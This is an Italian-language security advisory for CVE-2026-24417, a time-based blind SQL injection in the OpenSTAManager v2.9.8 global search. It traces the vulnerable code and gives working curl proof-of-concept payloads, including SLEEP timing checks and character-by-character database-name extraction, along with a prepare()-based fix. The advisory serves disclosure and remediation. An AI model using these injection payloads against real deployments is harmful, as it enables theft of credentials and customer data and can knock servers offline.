
CVE-2026-24417 - OpenSTAManager presenta una SQL Injection Blind basata sul tempo con Denial of Service amplificato
| Campo | Dettagli |
|---|
| ID CVE | CVE-2026-24417 |
| Gravità | ALTA |
| Avviso | Visualizza avviso |
| Scoperta da | Lukasz Rybak |
Una vulnerabilità critica di Blind SQL Injection basata sul tempo che interessa molteplici moduli di ricerca in OpenSTAManager v2.9.8 consente ad attaccanti autenticati di estrarre contenuti sensibili del database, inclusi hash di password, dati dei clienti e registri finanziari, tramite attacchi di inferenza booleana basati sul tempo con esecuzione amplificata su oltre 10 moduli.
Stato: ✅ Confermata e testata su istanza live (v2.9.8)
Parametro vulnerabile: term (GET)
Endpoint interessato: /ajax_search.php
Moduli interessati: Articoli, Ordini, DDT, Fatture, Preventivi, Anagrafiche, Impianti, Contratti, Automezzi, Interventi
OpenSTAManager v2.9.8 contiene una vulnerabilità critica di Blind SQL Injection basata sul tempo nella funzionalità di ricerca globale. L'applicazione non riesce a sanificare correttamente il parametro term prima di utilizzarlo nelle clausole SQL LIKE in molteplici gestori di ricerca specifici per modulo, consentendo agli attaccanti di iniettare comandi SQL arbitrari ed estrarre dati sensibili tramite inferenza booleana basata sul tempo.
Catena della vulnerabilità:
Punto di ingresso: /ajax_search.php (Righe 30-31)
$term = get('term');
$term = str_replace('/', '\\/', $term);
Il parametro $term subisce una sanificazione minima (solo la sostituzione della barra).
Distribuzione: /src/AJAX.php::search() (Righe 159-161)
$files = self::find('ajax/search.php');
array_unshift($files, base_dir().'/ajax_search.php');
foreach ($files as $file) {
$module_results = self::getSearchResults($file, $term);
Il $term non sanificato viene passato a tutti i gestori di ricerca specifici per modulo.
Esecuzione: /src/AJAX.php::getSearchResults() (Riga 373)
require $file;
Il file search.php di ogni modulo viene incluso con la variabile $term nello scope.
Query SQL vulnerabili: Più moduli concatenano direttamente $term senza prepare()
Tutti i file interessati (10+ istanze vulnerabili):
/modules/articoli/ajax/search.php - Riga 51 (ESEMPIO PRINCIPALE)
foreach ($fields as $name => $value) {
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
}
$rs = $dbo->fetchArray($query);
Impatto: Concatenazione diretta senza prepare(), consente la piena SQL injection.
/modules/ordini/ajax/search.php - Righe 43, 47
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
$query .= '... WHERE `mg_articoli`.`codice` LIKE "%'.$term.'%" OR `mg_articoli_lang`.`title` LIKE "%'.$term.'%"';
/modules/ddt/ajax/search.php - Righe 43, 47
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/fatture/ajax/search.php - Righe 45, 49
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/preventivi/ajax/search.php - Righe 45, 49
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/anagrafiche/ajax/search.php - Righe 62, 107, 162
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/impianti/ajax/search.php - Riga 46
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
Correttamente sanificati (NON vulnerabili):
/modules/contratti/ajax/search.php - Usa correttamente prepare()/modules/automezzi/ajax/search.php - Usa correttamente prepare()Nota: La vulnerabilità ha esecuzione amplificata: una singola richiesta malevola innesca la SQL injection in TUTTI i moduli vulnerabili simultaneamente, causando l'esecuzione di attacchi basati sul tempo 10+ volte per richiesta, moltiplicando il ritardo e portando a errori 504 Gateway Time-out come osservato sull'istanza demo live.

Passaggio 1: Login
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Passaggio 2: Verifica della vulnerabilità (SLEEP basato sul tempo)
# Test with SLEEP(1) - should take ~85+ seconds due to amplified execution
time curl -s -b /tmp/cookies.txt \
'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(1)%20OR%20%22'
# Result: real 72.29s
# Test with SLEEP(0) - should be fast
time curl -s -b /tmp/cookies.txt \
'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(0)%20OR%20%22'
# Result: real 0.30s

Passaggio 3: Estrazione dei dati - Nome del database
# Extract first character of database name (expected: 'o' from 'openstamanager')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
> /dev/null
# Result: real 170.32s
# Test with wrong character 'x' - should be fast
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
> /dev/null
# Result: real 0m0.30s

Utenti interessati: Tutti gli utenti autenticati con accesso alla funzionalità di ricerca globale.
Correzione consigliata:
Sostituisci tutte le istanze di concatenazione diretta di $term con prepare():
PRIMA (Vulnerabile):
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
DOPO (Corretta):
$query .= ' OR '.$value.' LIKE '.prepare('%'.$term.'%');
Applica questa correzione a TUTTI i file interessati:
/modules/articoli/ajax/search.php - Riga 51/modules/ordini/ajax/search.php - Righe 43, 47, 79/modules/ddt/ajax/search.php - Righe 43, 47, 83/modules/fatture/ajax/search.php - Righe 45, 49, 85/modules/preventivi/ajax/search.php - Righe 45, 49, 83/modules/anagrafiche/ajax/search.php - Righe 62, 107, 162/modules/impianti/ajax/search.php - Riga 46Questa CVE è stata divulgata in modo responsabile seguendo le pratiche di divulgazione coordinata delle vulnerabilità. Le informazioni fornite qui sono solo a scopo educativo e difensivo.